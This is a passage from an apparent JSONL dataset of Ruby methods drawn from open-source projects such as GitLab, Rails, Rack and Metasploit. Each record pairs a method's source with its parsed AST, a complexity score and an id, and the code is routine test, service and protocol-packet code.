('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"str\",\"children\":[\"', 'confirm', false)\"]}]}]}]},null]}]}]}","id":"3963a82f-f3db-41ce-94ce-9d9e3f8f2757"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/merge_requests/drafts_controller_spec.rb","start_line":230,"raw_source":"def update_draft_note(overrides = {})\n      put_params = params.merge({\n        id: draft.id,\n        draft_note: {\n          note: 'This is an updated unpublished comment'\n        }.merge(overrides)\n      })\n\n      put :update, params: put_params\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_draft_note\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"overrides\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"put_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draft\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"draft_note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"str\",\"children\":[\"This is an updated unpublished comment\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"overrides\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"put\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"put_params\"]}]}]}]}]}]}","id":"7017d928-b122-44d0-ab2d-40f7cd9a3b46"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/releases/base_service.rb","start_line":76,"raw_source":"def inexistent_milestone_titles\n      return [] unless param_for_milestone_titles_provided?\n\n      existing_milestone_titles = milestones.map(&:title)\n\n      Array(params[:milestones]) - existing_milestone_titles\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"inexistent_milestone_titles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"param_for_milestone_titles_provided?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_milestone_titles\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"milestones\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestones\"]}]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"existing_milestone_titles\"]}]}]}]}","id":"51e5a198-85d7-4c36-a15b-e1eb8aeba2f3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/argv_scrubber_test.rb","start_line":47,"raw_source":"def test_no_mutations\n        scrubber = ARGVScrubber.new [\"hi mom\"].freeze\n        args = scrubber.prepare!\n        assert_equal \"--help\", args.first\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_mutations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scrubber\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARGVScrubber\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hi mom\"]}]},\"freeze\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scrubber\"]},\"prepare!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"--help\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]}]}]}]}","id":"96d8cbf6-7f0b-460d-8356-775c4e989ac1"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":938,"raw_source":"def test_sms_to_with_options\n    assert_dom_equal(\n      %{<a class=\"simple-class\" href=\"sms:+015155555785;?&body=Hello%20from%20Jim\">Text me</a>},\n      sms_to(\"5155555785\", \"Text me\", class: \"simple-class\", country_code: \"01\", body: \"Hello from Jim\")\n    )\n\n    assert_dom_equal(\n      %{<a class=\"simple-class\" href=\"sms:+015155555785;?&body=Hello%20from%20Jim\">5155555785</a>},\n      sms_to(\"5155555785\", class: \"simple-class\", country_code: \"01\", body: \"Hello from Jim\")\n    )\n\n    assert_dom_equal(\n      %{<a href=\"sms:5155555785;?&body=This%20is%20the%20body%20of%20the%20message.\">Text me</a>},\n      sms_to(\"5155555785\", \"Text me\", body: \"This is the body of the message.\")\n    )\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sms_to_with_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<a class=\\\"simple-class\\\" href=\\\"sms:+015155555785;?&body=Hello%20from%20Jim\\\">Text me</a>\"]},{\"type\":\"send\",\"children\":[null,\"sms_to\",{\"type\":\"str\",\"children\":[\"5155555785\"]},{\"type\":\"str\",\"children\":[\"Text me\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"simple-class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"country_code\"]},{\"type\":\"str\",\"children\":[\"01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"Hello from Jim\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<a class=\\\"simple-class\\\" href=\\\"sms:+015155555785;?&body=Hello%20from%20Jim\\\">5155555785</a>\"]},{\"type\":\"send\",\"children\":[null,\"sms_to\",{\"type\":\"str\",\"children\":[\"5155555785\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"simple-class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"country_code\"]},{\"type\":\"str\",\"children\":[\"01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"Hello from Jim\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<a href=\\\"sms:5155555785;?&body=This%20is%20the%20body%20of%20the%20message.\\\">Text me</a>\"]},{\"type\":\"send\",\"children\":[null,\"sms_to\",{\"type\":\"str\",\"children\":[\"5155555785\"]},{\"type\":\"str\",\"children\":[\"Text me\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"This is the body of the message.\"]}]}]}]}]}]}]}","id":"66390d09-455b-4829-8251-6a1dbaff5d7a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/drda/packet.rb","start_line":89,"raw_source":"def initialize(args={})\n    self[:magic] = 0xd0\n    self[:format] = args[:format] || 0x01\n    self[:correlid] = 2\n    self[:codepoint] = Rex::Proto::DRDA::Constants::ACCSEC\n    self[:secmec] = SECMEC_PARAM.new.to_s\n    if args[:dbname] # Include a database name if we're given one.\n      self[:rdbnam] = RDBNAM_PARAM.new(:payload => args[:dbname]).to_s\n    end\n    self[:length] =  10 + self[:secmec].to_s.size + self[:rdbnam].to_s.size\n    self[:length2] = self[:length]-6\n  end","complexity_score":34.13,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"magic\"]},{\"type\":\"int\",\"children\":[208]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"correlid\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"codepoint\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"DRDA\"]},\"Constants\"]},\"ACCSEC\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"secmec\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SECMEC_PARAM\"]},\"new\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dbname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"rdbnam\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RDBNAM_PARAM\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dbname\"]}]}]}]}]},\"to_s\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"secmec\"]}]},\"to_s\"]},\"size\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"rdbnam\"]}]},\"to_s\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"length2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"length\"]}]},\"-\",{\"type\":\"int\",\"children\":[6]}]}]}]}]}","id":"541b00df-b3f8-4228-94ad-5f77d17160f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/base_query_builder.rb","start_line":75,"raw_source":"def apply_end_event_query_customization(query)\n          if in_progress?\n            stage.end_event.apply_negated_query_customization(query)\n          else\n            query = stage.end_event.apply_query_customization(query)\n            query.where(duration_condition)\n          end\n        end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_end_event_query_customization\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_progress?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stage\"]},\"end_event\"]},\"apply_negated_query_customization\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stage\"]},\"end_event\"]},\"apply_query_customization\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"send\",\"children\":[null,\"duration_condition\"]}]}]}]}]}","id":"74cb6754-5673-420c-b9db-4454721b2486"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/generators/gitlab/click_house/siphon_generator.rb","start_line":77,"raw_source":"def generate_ch_table\n        timestamp = Time.current.strftime('%Y%m%d%H%M%S')\n\n        migration_path = \"db/click_house/migrate/main/#{timestamp}_create_siphon_#{table_name}.rb\"\n\n        template 'siphon_table.rb.template', migration_path\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_ch_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d%H%M%S\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migration_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"db/click_house/migrate/main/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]},{\"type\":\"str\",\"children\":[\"_create_siphon_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"siphon_table.rb.template\"]},{\"type\":\"lvar\",\"children\":[\"migration_path\"]}]}]}]}","id":"45f3ee2a-6733-4b2b-b916-bd0859fea60a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/components/ai_suggestion_dropdown.rb","start_line":20,"raw_source":"def click_suggest_tags_button\n        find(TAG_BUTTON_SELECTOR, visible: :all).click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_suggest_tags_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"const\",\"children\":[null,\"TAG_BUTTON_SELECTOR\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"sym\",\"children\":[\"all\"]}]}]}]},\"click\"]}]}","id":"fa0c1dc2-ec34-4921-a5f3-88c629911f52"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_dependencies.rb","start_line":98,"raw_source":"def expand_variables_and_validate(specifications)\n      specifications.filter_map do |spec|\n        pipeline = ExpandVariables.expand(spec[:pipeline].to_s, processable_variables).to_i\n        # current pipeline is not allowed because local dependencies\n        # should be used instead.\n        next if pipeline == processable.pipeline_id\n\n        job = ExpandVariables.expand(spec[:job], processable_variables)\n\n        { job: job, pipeline: pipeline }\n      end\n    end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_variables_and_validate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"specifications\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specifications\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spec\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExpandVariables\"]},\"expand\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pipeline\"]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[null,\"processable_variables\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processable\"]},\"pipeline_id\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExpandVariables\"]},\"expand\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"job\"]}]},{\"type\":\"send\",\"children\":[null,\"processable_variables\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]}]}]}]}]}","id":"476d9f31-f95c-4f53-9509-52ebd2c0cee8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/benchmarks/banzai_benchmark.rb","start_line":200,"raw_source":"def current_user\n    feature.user\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"feature\"]},\"user\"]}]}","id":"f8e7268c-6d40-4fc8-8ddf-f361d5c4b1a8"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_headers.rb","start_line":107,"raw_source":"def test_delete_if_and_reject\n    assert_equal 3, @fh.length\n    hash = @fh.reject{|key, value| key == 'ab' || key == 'cd'}\n    assert_equal 1, hash.length\n    assert_equal Hash['3'=>'4'], hash\n    assert_equal 3, @fh.length\n    hash = @fh.delete_if{|key, value| key == 'ab' || key == 'cd'}\n    assert_equal 1, hash.length\n    assert_equal Hash['3'=>'4'], hash\n    assert_equal 1, @fh.length\n    assert_equal Hash['3'=>'4'], @fh\n    assert_nil  @fh.reject!{|key, value| key == 'ab' || key == 'cd'}\n    hash = @fh.reject!{|key, value| key == '3'}\n    assert_equal 0, hash.length\n    assert_equal Hash[], hash\n    assert_equal 0, @fh.length\n    assert_equal Hash[], @fh\n  end","complexity_score":52.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_delete_if_and_reject\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"str\",\"children\":[\"ab\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"str\",\"children\":[\"cd\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"3\"]},{\"type\":\"str\",\"children\":[\"4\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"str\",\"children\":[\"ab\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"str\",\"children\":[\"cd\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"3\"]},{\"type\":\"str\",\"children\":[\"4\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"3\"]},{\"type\":\"str\",\"children\":[\"4\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@fh\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"reject!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"str\",\"children\":[\"ab\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"str\",\"children\":[\"cd\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"reject!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"str\",\"children\":[\"3\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\"]},{\"type\":\"ivar\",\"children\":[\"@fh\"]}]}]}]}","id":"054505c1-1d15-4a72-862b-5b1d02ace6c6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":481,"raw_source":"def test_eager_association_loading_with_belongs_to_and_conditions_string_with_unquoted_table_name\n    assert_nothing_raised do\n      Comment.includes(:post).references(:posts).where(\"posts.id = ?\", 4)\n    end\n  end","complexity_score":6.23,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_association_loading_with_belongs_to_and_conditions_string_with_unquoted_table_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"post\"]}]},\"references\",{\"type\":\"sym\",\"children\":[\"posts\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"posts.id = ?\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}","id":"ad5df9e1-883c-4115-84e0-9c8b9175ba2a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/models/queries/storages/work_packages/filter/storage_url_filter.rb","start_line":55,"raw_source":"def additional_where_condition\n      \"AND #{::Storages::FileLink.table_name}.storage_id = #{::Storages::ProjectStorage.table_name}.storage_id\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"additional_where_condition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"FileLink\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".storage_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"ProjectStorage\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".storage_id\"]}]}]}","id":"8314c543-a8c4-4cb6-8327-3205cf1e648a"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/permissions_policy_test.rb","start_line":89,"raw_source":"def build_app(app)\n      PolicyConfigMiddleware.new(\n        Rack::Lint.new(\n          ActionDispatch::PermissionsPolicy::Middleware.new(\n            Rack::Lint.new(app),\n          ),\n        ),\n      )\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_app\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PolicyConfigMiddleware\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Lint\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"PermissionsPolicy\"]},\"Middleware\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Lint\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"app\"]}]}]}]}]}]}","id":"3960adcd-3381-42a8-a7ed-f9c62823cc44"}
